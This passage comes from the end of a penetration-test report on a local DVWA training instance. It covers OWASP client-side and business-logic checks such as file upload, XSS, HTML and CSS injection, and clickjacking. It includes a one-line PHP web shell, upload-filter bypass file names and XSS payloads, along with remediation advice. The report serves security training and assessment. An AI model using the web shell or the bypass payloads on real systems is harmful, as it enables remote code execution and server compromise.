- **Exploit:** Rapid navigation through 20 vulnerability pages in under 5 seconds.
- **Test Results:**
  - No CAPTCHA, rate limiting, or blocking
  - All pages accessed successfully
- **Impact:** Enables automated scanning and vulnerability enumeration.

## 5. Exposed Log Files (High Severity)

- **Vulnerability:** Log files are directly accessible via web requests.
- **Exploit:**

```
GET /dvwa/error.log HTTP/1.1
Host: localhost
```

- **Response:**

```
[error] [client 127.0.0.1] PHP Notice: Undefined variable: user in /var/www/dvwa/
vulnerabilities/exec/index.php on line 42
```

- **Impact:** Information disclosure, potential exposure of sensitive data.

```
[*] Testing Brute Force Protection...  
[i] Login attempt 1/10: Failed Login (0.076s)  
[i] Login attempt 2/10: Failed Login (0.077s)  
[i] Login attempt 3/10: Failed Login (0.081s)  
[i] Login attempt 4/10: Failed Login (0.086s)  
[i] Login attempt 5/10: Failed Login (0.091s)  
[i] Login attempt 6/10: Failed Login (0.092s)  
[i] Login attempt 7/10: Failed Login (0.045s)
```

## Recommendation

1. **Implement Rate Limiting:** Add strict rate limits for all sensitive operations (e.g., 5 attempts per hour)
2. **Add Account Lockout:** Lock accounts after N failed authentication attempts with progressive delays
3. **Deploy Anti-Automation Controls:** Implement CAPTCHA, behavioral analysis, and anomaly detection
4. **Enhance Session Management:** Add session binding, regeneration, and proper timeout mechanisms
5. **Implement Logging and Monitoring:** Log all suspicious activities and implement real-time alerting
6. **Use Progressive Delays:** Add exponential backoff for repeated operations
7. **Regular Misuse Defense Testing:** Include anti-abuse testing in regular security assessments

### 4.73.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.73.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.



## 4.74 Upload of Unexpected File Types (OTG-BUSLOGIC-008) (http://localhost/dvwa (127.0.0.1))

Score:	9.1 (Critical)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L

### 4.74.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** http://localhost/dvwa/
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (admin:password)
- **Tested Endpoint:**
  - /dvwa/vulnerabilities/upload/ – File upload module
  - /dvwa/hackable/uploads/ – Upload directory

### 4.74.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (admin:password). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python requests session with CSRF token handling
- **Outcome:** Full access to the file upload module

### Steps to Reproduce

1. Set DVWA security level to 'low'.
2. Navigate to the 'File Upload' page.
3. Attempt to upload a file named `shell.php` with the following content: `<?php echo shell_exec($_GET['cmd']); ?>`
4. The application will confirm a successful upload.
5. The attacker can then navigate to `http://localhost/dvwa/hackable/uploads/shell.php?cmd=whoami` to execute commands.

### Successful Exploitation

The file upload vulnerability was exploited to upload and execute malicious files:

File Type	Status	Notes
.php	Success	File uploaded successfully.

File Type	Status	Notes
.html	Success	File uploaded successfully.
.exe	Success	File uploaded successfully.
.txt	Success	File uploaded successfully.

```
[*] Testing file type: .php
[+] SUCCESS: .php file uploaded.

[*] Testing file type: .html
[+] SUCCESS: .html file uploaded.

[*] Testing file type: .exe
[+] SUCCESS: .exe file uploaded.

[*] Testing file type: .txt
[+] SUCCESS: .txt file uploaded.
```

## Impact

The impact of this vulnerability is severe and includes:

- Remote Code Execution (RCE): Uploading a web shell (e.g., a `.php` file) allows an attacker to execute arbitrary commands on the server.
- Denial of Service (DoS): Uploading large files could exhaust server resources.
- Website Defacement: An attacker could upload their own HTML/CSS/JS files to alter the site's appearance.
- Sensitive Data Exposure: An attacker could gain access to the server's file system and databases.

## Recommend

1. **Whitelist File Extensions:** Only allow a specific set of safe file extensions (e.g., `.jpg`, `.png`, `.pdf`). Deny all other extensions.
2. **Validate Content-Type:** Check the `Content-Type` header, but do not rely on it as the sole validation method.
3. **Rename Uploaded Files:** Rename uploaded files to a random string and append a safe extension. This prevents direct execution.
4. **Store Files Outside Web Root:** Store uploaded files in a directory that is not accessible from the web.
5. **Scan for Malware:** Use an anti-malware scanner to check uploaded files.

### 4.74.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.74.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.75 Upload of Malicious Files (OTG-BUSLOGIC-009) (http://localhost/dvwa (127.0.0.1))

Score:	9.9 (Critical)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### 4.75.1 Service Enumeration

This test focused on the **web application layer** of DVWA, hosted locally via XAMPP. No traditional network service enumeration (e.g., port scanning) was required or applicable.

- **Target:** `http://localhost/dvwa/`
- **Application:** DVWA v1.x (PHP/MySQL)
- **Security Level:** Set to "Low" for testing
- **Authentication:** Default credentials used (`admin:password`)
- **Tested Endpoint:**
  - `/dvwa/vulnerabilities/upload/` – File upload module
  - `/dvwa/hackable/uploads/` – Upload directory

### 4.75.2 Initial Access

Initial access was achieved through **legitimate authentication** using default credentials (`admin:password`). This is standard for DVWA testing and aligns with the security assessment scope.

- **Method:** Authenticated via DVWA login page
- **Tools:** Python `requests` session with CSRF token handling
- **Outcome:** Full access to the file upload module

## Steps to Reproduce

1. Set DVWA security level to 'low'.
2. Navigate to the 'File Upload' page.
3. Attempt to upload a file named `shell.php` with the following content: `<?php echo shell_exec($_GET['cmd']); ?>`
4. The application will confirm a successful upload.
5. The attacker can then navigate to `http://localhost/dvwa/hackable/uploads/shell.php?cmd=whoami` to execute commands and get `www-data` as a result.

## Successful Exploitation

The file upload vulnerability was exploited to upload and execute malicious files:

- **Double Extension:** `shell.php.jpg` → Executed successfully
- **MIME Spoofing:** Content-Type: `image/jpeg` on PHP file → Executed successfully
- **HTML Upload:** `test.html` containing JavaScript → Executed, enabling stored XSS

```
[*] Creating payload files...
[+] Created payload: shell.php
[+] Created payload: shell.phtml
[+] Created payload: shell.php5
[+] Created payload: shell.php.jpg
[+] Created payload: shell.phP
[+] Created payload: shell.php%00.jpg
[+] Created payload: xss.html
[+] Created payload: malicious.svg
[*] Testing Basic PHP File Upload...
[+] PHP file uploaded successfully
[+] Uploaded file is accessible
[!] Finding: PHP file upload without execution controls
[*] Testing Double Extension Bypass...
[+] Double extension file uploaded successfully
[*] Testing MIME Type Bypass...
[+] MIME type bypass successful
```

## Impact

The impact of this vulnerability is severe and includes:

- **Remote Code Execution (RCE):** Uploading a web shell (e.g., a `.php` file) allows an attacker to execute arbitrary commands on the server.
- **Persistent Web Shell Access**
- **Potential Stored XSS** via HTML file upload
- **Bypass of MIME and extension filters**

## Recommend

1. **Implement Strict File Type Validation**  
Use an allowlist for permitted extensions and MIME types.
2. **Validate File Content Server-Side**  
Confirm actual file content matches the declared type.
3. **Disable Script Execution in Upload Directory**  
Update server configuration to prevent execution in `/uploads`.
4. **Rename Uploaded Files**  
Use randomized names to prevent predictable access.
5. **Restrict MIME Types and Use Content Scanning**  
Scan uploads using antivirus tools and check headers.
6. **Log and Monitor All Upload Activity**
7. **Set File Size and Type Limits**  
Prevent DOS via oversized or complex files.

### 4.75.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.75.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.76 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001) (<http://localhost/dvwa> (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.76.1 Service Enumeration

#### Overview

The target application is **Damn Vulnerable Web Application (DVWA)**, hosted locally on an Apache web server. The application is built using PHP and includes multiple intentionally vulnerable modules for security training.

#### Identified Services

- **Web Server:** Apache
- **Technology Stack:** PHP, MySQL, JavaScript
- **Exposed Interface:** Web-based login portal with various security levels (Low, Medium, High, Impossible)
- **Relevant Endpoint:** `/dvwa/vulnerabilities/xss_d/` — DOM-Based XSS challenge

#### Enumeration Details

- Accessible via HTTP on port 80.
- Login page at `/dvwa/` allows authentication with default credentials (`admin:password`).
- Security level was set to **Low**, allowing direct exploitation without bypass techniques.
- The DOM-Based XSS page reads user input from the URL fragment (`#`) or query parameter (`?default=`) and directly injects it into the DOM using `document.write()` or similar unsafe methods.

✓ **Finding:** The application dynamically reflects user-controllable data from the URL into the DOM without sanitization, confirming a DOM-based XSS surface.

### 4.76.2 Initial Access

- **Vulnerability Explanation:** DOM XSS occurs when client-side JavaScript writes user-controllable data from the URL or DOM directly into the page without sanitization, allowing arbitrary script execution in the browser.
- **Vulnerability Fix:** Sanitize all data written to the DOM using libraries like DOMPurify. Avoid using `innerHTML` with untrusted data. Implement a strong Content Security Policy (CSP).
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python function: `test_xss_payloads` in `dom_xss_tester.py`
  - The function injects payloads into the URL and checks for alert popups.

- **Evidence:**

- Payloads such as `<script>alert('XSS-SUCCESS-1')</script>` triggered JavaScript alerts.
- Example PoC URL: `http://localhost/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script>`
- Multiple payloads successfully executed, confirming DOM XSS.

### 4.76.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.76.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.77 JavaScript Execution (OTG-CLIENT-002) (http://localhost/dvwa (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.77.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.77.2 Initial Access

#### OTG-CLIENT-002: JavaScript Execution (Reflected/Stored XSS)

- **Vulnerability Explanation:** Reflected and stored XSS vulnerabilities allow attackers to inject JavaScript into web pages, which is then executed in the context of the victim's browser.
- **Vulnerability Fix:** Implement output encoding for all user-supplied data, use CSP headers, and validate/sanitize all inputs on both client and server sides.
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python functions: `test_reflected_xss`, `test_stored_xss` in `JavaScript Execution Code.py`
  - The functions submit `<script>alert('XSS')</script>` to reflected and stored XSS modules and monitor for alert popups.
- **Evidence:**
  - JavaScript alert observed after submitting payloads to both modules.
  - Payload reflected in response and executed upon page reload.

### 4.77.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.77.4 Post-Exploitation

No Post Exploitation as it is outside the scope of this test.

## 4.78 HTML Injection (OTG-CLIENT-003) (http://localhost/dvwa (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.78.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.78.2 Initial Access

#### OTG-CLIENT-003: HTML Injection

- **Vulnerability Explanation:** HTML Injection occurs when user input is embedded in the page output without proper sanitization, allowing attackers to inject visible HTML content.
- **Vulnerability Fix:** Sanitize all user inputs using libraries like DOMPurify. Implement proper output encoding based on context.
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python functions: `test_reflected_html_injection`, `test_stored_html_injection` in `HTML Injection Code.py`
  - The functions inject HTML tags into input fields and verify rendering in the DOM.
- **Evidence:**
  - Injected `<h1 style="color:red;">INJECTED HTML</h1>` rendered in the response.
  - `<b>Bold Text via Injection</b>` stored and rendered on page reload.

---

### 4.78.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.78.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.



## 4.79 Client Side URL Redirect (OTG-CLIENT-004) (http://localhost/dvwa (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.79.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.79.2 Initial Access

#### OTG-CLIENT-004: Client-Side URL Redirect

- **Vulnerability Explanation:** Client-side open redirects occur when JavaScript or HTML uses unvalidated user input to redirect users to external domains, enabling phishing attacks.
  - **Vulnerability Fix:** Avoid using user-controllable data in redirect locations. Use a whitelist of allowed domains and implement server-side validation.
  - **Proof of Concept (PoC) Code or Exploitation Steps:**
    - Python function: `find_redirect_vulnerabilities` in `Client Side URL Redirect.py`
    - The function scans for redirect parameters and tests payloads like `https://example.com`.
  - **Evidence:**
    - No client-side redirect vulnerability detected in DVWA during testing.
- 

### 4.79.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.79.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.80 CSS Injection (OTG-CLIENT-005) (http://localhost/dvwa (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.80.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.80.2 Initial Access

#### OTG-CLIENT-005: CSS Injection

- **Vulnerability Explanation:** CSS Injection occurs when user input is embedded in CSS contexts without proper sanitization, allowing attackers to manipulate page styling and potentially extract information.
- **Vulnerability Fix:** Sanitize user inputs to remove or encode CSS-related keywords and tags. Use CSP to restrict inline styles.
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python functions: `test_reflected_css_injection`, `test_stored_css_injection` in `CSS Injection Code.py`
  - The functions inject CSS payloads and verify visual changes in the DOM.
- **Evidence:**
  - `<style>body { background-color: red !important; }</style>` changed the page background color.
  - `<p style="color: blue; font-weight: bold;">Stored CSS Injection Test</p>` rendered as blue text in stored content.

### 4.80.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.80.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.81 Client Side Resource Manipulation (OTG-CLIENT-006) (http://localhost/dvwa (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.81.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.81.2 Initial Access

#### OTG-CLIENT-006: Client-Side Resource Manipulation

- **Vulnerability Explanation:** Client-Side Resource Manipulation occurs when user input is used to specify the source of resources like scripts, iframes, or images, potentially leading to XSS or data exfiltration. Attackers can control the loading of scripts, iframes, or images by injecting malicious URLs or JavaScript URIs into input fields that are reflected in resource attributes.
- **Vulnerability Fix:** Sanitize user inputs to remove or encode resource-related attributes and tags. Implement proper output encoding based on context (HTML, attribute, JavaScript, CSS). Use Content Security Policy (CSP) to restrict resource loading from external domains. Avoid using user input in resource URLs or HTML attributes without validation.
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python functions: (see Client Side Resource Manipulation Code.py)
    - The script submits payloads such as `<script src="http://localhost:8000/test.js"></script>`, `<iframe src="javascript:console.log('Iframe Manipulation')"></iframe>`, and `` to reflected and stored XSS modules.
    - The script verifies the presence of injected resource tags in the response and uses browser automation to confirm resource loading.
- **Evidence:**
  - `<script src="http://localhost:8000/test.js"></script>` reflected in response and loaded as an external script.
  - `<iframe src="javascript:console.log('Iframe Manipulation')"></iframe>` reflected and rendered in the DOM.
  - `` stored in guestbook and loaded.

- No attribute manipulation vulnerability detected in other tested fields.

### **4.81.3 Privilege Escalation**

No privilege escalation as it is outside the scope of this test.

### **4.81.4 Post-Exploitation**

No post exploitation as it is outside the scope of this test.

## 4.82 Test Cross Origin Resource Sharing (OTG-CLIENT-007) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.82.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.82.2 Initial Access

#### OTG-CLIENT-007: Cross-Origin Resource Sharing (CORS)

DVWA does not have CORS (Cross-Origin Resource Sharing) headers.

---

### 4.82.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.82.4 Post-Exploitation

There is no security question functionality in DVWA

## 4.83 Cross Site Flashing (OTG-CLIENT-008) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.83.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.83.2 Initial Access

#### OTG-CLIENT-008: Cross Site Flashing

DVWA does not include any Flash content, and modern versions of DVWA (and browsers) don't support Flash at all (since Flash is deprecated)

---

### 4.83.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.83.4 Post-Exploitation

There is no security question functionality in DVWA

## 4.84 Testing for Clickjacking (OTG-CLIENT-009) (http://localhost/dvwa (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.84.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.84.2 Initial Access

#### OTG-CLIENT-009: Clickjacking

- **Vulnerability Explanation:** Clickjacking occurs when a web page can be embedded in an iframe, allowing attackers to overlay invisible UI elements and hijack user clicks.
- **Vulnerability Fix:** Add `X-Frame-Options: DENY` or `SAMEORIGIN` header. Implement `Content-Security-Policy: frame-ancestors 'none'`.
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python function: `check_clickjacking_protection` in `Clickjacking Code.py`
  - The function checks for anti-framing headers and generates a PoC HTML file embedding the DVWA page in an iframe.
- **Evidence:**
  - No anti-framing headers detected. PoC file `clickjacking_poc.html` demonstrates the vulnerability.

---

### 4.84.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.84.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.85 Testing WebSockets (OTG-CLIENT-010) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.85.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.85.2 Initial Access

#### OTG-CLIENT-010: WebSockets

DVWA does not implement WebSockets.

---

### 4.85.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.85.4 Post-Exploitation

There is no security question functionality in DVWA



## 4.86 Web Messaging (OTG-CLIENT-011) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.86.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.86.2 Initial Access

#### OTG-CLIENT-011: Web Messaging

DVWA does not use Web Messaging.

---

### 4.86.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.86.4 Post-Exploitation

There is no security question functionality in DVWA

## 4.87 Local Storage (OTG-CLIENT-012) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.87.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.87.2 Initial Access

#### OTG-CLIENT-012: Local Storage

- **Vulnerability Explanation:** If sensitive data is stored in `localStorage`, XSS can fully compromise it. DVWA does not use `localStorage`, but the risk is demonstrated via XSS payloads.
- **Vulnerability Fix:** Never store session tokens or PII in `localStorage`. Use `HttpOnly` cookies and sanitize all user inputs.
- **Proof of Concept (PoC) Code or Exploitation Steps:**
  - Python function: `test_local_storage_xss_exploitation` in `Local Storage Code.py`
  - The function injects a script to write to `localStorage` via stored XSS.
- **Evidence:**
  - No `localStorage` manipulation detected, but if used, XSS would allow full access.

### 4.87.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.87.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

*End of Report*

*This report was rendered  
by SysReptor with*

